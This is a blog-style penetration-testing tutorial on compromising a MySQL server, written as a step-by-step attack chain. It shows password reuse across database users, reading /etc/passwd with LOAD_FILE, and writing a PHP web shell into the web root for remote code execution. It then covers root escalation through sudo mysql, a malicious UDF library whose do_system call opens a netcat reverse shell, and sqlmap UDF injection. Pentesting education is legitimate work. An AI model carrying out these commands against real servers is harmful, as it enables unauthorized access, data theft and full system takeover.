# An Operative Guide To Pentesting The MySQL Service ![MySQL Logo](https://cdn.clever-cloud.com/uploads/2023/03/mysql.svg) **MySQL** is an open-source relational database management system (**RBDMS**) that uses structured query language (**SQL**) for accessing and managing data. It is one of the most common widely used RDBMS in the world. In this article, I will be writing about how you, as a penetration tester, can leverage access to a MySQL service to gain complete access to the server, read files from the server, and write files to the server. This is achieved by identifying common misconfigurations and settings and exploiting them to achieve the intended goal. ## Connecting to MySQL Since this is considered to be a scenario where you have intially already gained credentials that do login to MySQL as an example they might be in a `.env` file: ```shell DB_HOST=localhost DB_NAME=testing DB_USER=batman DB_PASS=superp@ssw0rd DB_PORT=3306 ``` To login to the MySQL service one can easily type the following command: ```shell mysql -u batman -p"superp@ssw0rd" -h localhost -P 3306 ``` The command above allows me to connect to the MySQL service running on localhost (locally) on the port 3306 in some case the port might be not the default "3306" for security reasons and I specified the password on the command, arguments breakdown below; ```text -u [takes the username] -p [takes the password or prompts for the password] -h [the host to connect to] -P [the port MySQL Service is running on] ``` I didn't specify the database as I want to not only access and limit my access to that certain database but I want to see all available database and navigate through each of them. ![image](https://hackmd.io/_uploads/Hy1ASwAn0.png) ## Enumerating within MySQL The most important thing to look for after gaining access to a MySQL service is to identify and enumerate for privileges, users and permissions the user you have compromised has. ### Enumerating Privileges First to understand the privilege our current user has we run the following SQL queries below: ```sql SHOW GRANTS FOR CURRENT_USER(); SHOW GRANTS; ``` The above SQL queries all do the same task and that is to retrieve the granted privilege to the current user I am logged in as, the output should be something like this: ![image](https://hackmd.io/_uploads/BkQjwPC30.png) now as seen above on the results, the user we just gained access as, doesn't have good enough privileges for us to even at least read files or write files to our advantage. We can proceed further to enumerate for users that are available and allowed to login on the MySQL service. ### Enumerating MySQL Users The users who login to MySQL are saved in the database **mysql** on the table **user** which we also have privileges to, we can easily access that database and the table by writing the following SQL queries to also get the usernames of the users accessing this MySQL server service: ```sql USE mysql; SELECT User FROM user; ``` ![image](https://hackmd.io/_uploads/r1cyOPA30.png) As seen above, I have successfully retrieved all the users available who can access this MySQL. I can easily fetch all the details for all the users for preview including their permissions and privileges as well as their passwords, with the SQL query below: ```sql SELECT * FROM user \G; ``` ![image](https://hackmd.io/_uploads/r1xLYuPC3R.png) The user that we have access to "batman" has very less permission as seen we don't even have file privileges compared to the user **root** and **tf**: ![image](https://hackmd.io/_uploads/rk_AuPAnC.png) But we also notice that the user `tf` has the same password hash as the user `batman`: ![image](https://hackmd.io/_uploads/SJEHYvAhA.png) Running the following command below we can retrieve the passwords for each user and compare them to see if we can perform a password reuse on one of the users: ```sql SELECT User, Password from user; ``` ![image](https://hackmd.io/_uploads/HyHl3DChA.png) That proves that the user batman has the same password as the user tf meaning that we can re-use the same password for the user batman to login as the user **tf** who has more privileges than the user **batman**. ## Arbitrary File Read & Write Having the access on MySQL as the user **tf**, allows us to be able to read files from the server since we do have the `file_priv` set to **Y**, and to actually test this and see if we can read the file `/etc/passwd` from the server we run the SQL query below: ```sql SELECT LOAD_FILE("/etc/passwd") as file_to_read; ``` ![image](https://hackmd.io/_uploads/BJmQAPChC.png) As seen above from the output, I was able to return the content of the file `/etc/passwd`. Now let's try writing a file into the server on the directory `/tmp/` using the SQL query below: ```sql SELECT "pewpew" INTO OUTFILE "/tmp/tmp.txt"; ``` Then let's read it's content to prove that we have written the file successfully using the SQL query below: ```sql SELECT LOAD_FILE("/tmp/tmp.txt") as tmp_file; ``` ![image](https://hackmd.io/_uploads/B1ol1uC3C.png) This confirms that the file was successfully created, and now what's the worst that can happen? ## Arbitrary File Write To RCE Say the server hosting this MySQL service is also hosting a web server that is accessible to the internet, this means that the attacker could easily write into the web root a malicious file if the server is not well configured on directory permissions. But first to be able to do this we need to understand the type of web server running so that we can fetch the contents of the configurations and understand what is the web root directory for the web server. We can achieve this by using curl command as below: ```shell curl -I http://<host-ip-domain>/ ``` ![image](https://hackmd.io/_uploads/SJtmMuA2R.png) We can see that the response exposes that it's running on `Apache` of version `2.4.62` and the OS Distro is `Debian`. The configuration files for apache are stored at the path `/etc/apache2/sites-enabled/000-default.conf`, Let's attempt to read this from MySQL using the SQL query below: ```sql SELECT LOAD_FILE("/etc/apache2/sites-enabled/000-default.conf") AS apache2_conf; ``` ![image](https://hackmd.io/_uploads/rkUb7O0hR.png) As seen above it provides the contents of the configuration and reading through we can notice that `DocumentRoot` is pointed to `/var/www/wayne_enterprise` as most would have thought they could've tried uploading a malicious file into `/var/www/html` but sometimes it's important to cross check by reading through web server configurations to understand where exactly the web root is located at! Knowing that our web root is `/var/www/wayne_enterprise` I can use the below SQL query to write a malicious PHP minimal web shell that should allow me to gain RCE and eventually gain foothold to the server: ```sql SELECT "<?php echo shell_exec($_GET['0']);?>" INTO OUTFILE "/var/www/wayne_enterprise/mal.php"; ``` And we can prove that it's created by reading the contents using the SQL query below: ```sql SELECT LOAD_FILE("/var/www/wayne_enterprise/mal.php") AS mal_file; ``` ![image](https://hackmd.io/_uploads/SkbINOR3C.png) Now we can proceed to accessing our web shell and executing a command from the server using the curl command below or accessing the browser as it's your choice: ```shell curl "http://<host-ip-domain>/mal.php?0=<command>" ``` ![image](https://hackmd.io/_uploads/SyjWB_ChR.png) And that marks our accomplishment on `MySQL -> Arbitrary File Write -> RCE`, What else can we do after here? ## Privilege Escalation With MySQL ### MySQL-Sudo Privilege Escalation Now we have gained a reverse shell to the server and checking the sudo privileges for the user `www-data` we find that the user can execute the command `/usr/bin/mysql` as sudo: ```shell sudo -ll ``` ![image](https://hackmd.io/_uploads/SyLi__CnR.png) Recalling earlier we noticed that the user `root` doesn't have a password thus we can login as root or even login as user's that we already have credentials using the commands: ```shell sudo /usr/bin/mysql -u root -p"" -h localhost ``` ![image](https://hackmd.io/_uploads/B1QfYO03R.png) Now that I have gained access to the MySQL, I can then spawn a shell as root user using the following in-built query commands for MySQL: ```sql \! sh ``` ![image](https://hackmd.io/_uploads/By-DFORh0.png) And that's it! We have rooted the server! But what if the user `www-data` doesn't have the privileges to execute `mysql`? ### User Defined Functions (UDF) Privilege Escalation Another way to perform a privilege escalation on MySQL is by using libraries specifically user defined functions, this would allow us to execute commands as the highest privileged user running MySQL service through a malicious library that we shall use. We can achieve this by doing it manually or by using SQLMap. **NOTE: For this to actually work! The MySQL process is supposed to be run by the user "root"** #### Manual Method There are ready made libraries on github such as [UDF Exploits](https://github.com/koparmalbaris/MySQL-UDF-Exploitation) which we can upload to the target's server since we already have foothold: ```shell git clone https://github.com/koparmalbaris/MySQL-UDF-Exploitation ``` ![image](https://hackmd.io/_uploads/ByXz2u03A.png) Now that we have got all the malicious library on the target, We can proceed by logging into MySQL as any user: ```shell mysql -u tf -p"superp@ssw0rd" -h localhost ``` ![image](https://hackmd.io/_uploads/BkKjhOA3A.png) We then check the architecture of the OS using the query: ```sql SELECT @@version_compile_os, @@version_compile_machine; ``` ![image](https://hackmd.io/_uploads/ryvZauCnA.png) It's x86_64 thus the library `lib_mysqludf_sys64.so` should do the trick, I proceed to then know the path of the MySQL plugins using the query below: ```sql SHOW VARIABLES LIKE '%plugin%'; ``` ![image](https://hackmd.io/_uploads/ryVu6_RnC.png) I shall then proceed to connect with the `mysql` database and then create a table that I shall load the content of the library and dump the file into the plugins directory using the SQL queries below: ```sql USE mysql; CREATE TABLE dummy(line blob); INSERT INTO dummy VALUES(LOAD_FILE('/tmp/MySQL-UDF-Exploitation/lib_mysqludf_sys64.so')); SELECT * FROM dummy INTO DUMPFILE '/usr/lib/mysql/plugin/raptor_udf.so'; ``` After running the above queries we shall lastly proceed to create a malicious function to execute commands using the queries below: ```sql CREATE FUNCTION do_system returns integer soname "raptor_udf.so"; select do_system('nc <ip> <port> -e /bin/bash'); ``` ![image](https://hackmd.io/_uploads/BkGUUtA3C.png) This should promptly send a reverse shell back to my listener: ![image](https://hackmd.io/_uploads/rkr3UFR2R.png) #### Using SQLmap Using SQLmap we can connec to the DB remotely using the commands : ```shell sudo sqlmap -d mysql://tf:"superp@ssw0rd"@<ip>:3306/mysql --dbs ``` ![image](https://hackmd.io/_uploads/By8Q9F020.png) As seen above, we are able to connect to the Database and also list other available databases. In SQLmap we have the argument `--udf-inject`: ![image](https://hackmd.io/_uploads/S15P9tA2A.png) We can append that on the command and continue with the process to automate the whole process and gain root access: ```shell sudo sqlmap -d mysql://tf:"superp@ssw0rd"@<ip>:3306/mysql --udf-inject --shared-lib=/path/local/to/raptor_udf.so ``` ## Extra Whilst having the use of performing priv-escalation using libraries, In realistic environment the chances are pretty rare as most of the work-around would be on misconfigurations and enumerating the Databases to harvest as much information as you can for further usage! I hope you enjoyed reading! <div style="width:100%;height:0;padding-bottom:75%;position:relative;"><iframe src="https://giphy.com/embed/s6EYTqTRqujIY" width="100%" height="100%" style="position:absolute" frameBorder="0" class="giphy-embed" allowFullScreen></iframe></div>